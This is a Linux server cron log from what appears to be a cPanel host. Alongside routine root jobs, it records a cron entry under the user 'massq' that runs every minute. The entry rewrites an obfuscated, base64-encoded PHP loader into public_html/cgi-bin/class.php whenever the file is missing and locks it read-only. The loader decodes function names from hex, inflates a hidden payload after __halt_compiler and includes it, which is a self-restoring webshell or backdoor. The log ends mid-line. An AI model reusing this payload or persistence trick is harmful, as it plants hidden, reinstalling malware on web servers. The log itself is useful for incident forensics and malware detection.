Apr  7 13:50:01 server CROND[13633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:50:01 server CROND[13634]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 13:50:01 server CROND[13635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:50:01 server CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:50:01 server CROND[13637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:51:01 server CROND[13911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:52:01 server CROND[14032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:53:01 server CROND[14185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:54:01 server CROND[14265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:55:01 server CROND[14334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:55:01 server CROND[14336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:55:01 server CROND[14337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:56:01 server CROND[14556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:57:01 server CROND[14630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 13:57:01 server CROND[14631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:58:01 server CROND[14702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:59:01 server CROND[14777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:00:01 server CROND[14850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:00:01 server CROND[14852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:00:01 server CROND[14854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:00:01 server CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 14:00:01 server CROND[14856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:01:01 server CROND[15053]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 14:01:01 server CROND[15054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:01:01 server run-parts(/etc/cron.hourly)[15053]: starting 0anacron
Apr  7 14:01:01 server run-parts(/etc/cron.hourly)[15067]: finished 0anacron
Apr  7 14:02:01 server CROND[15180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:03:01 server CROND[15236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMR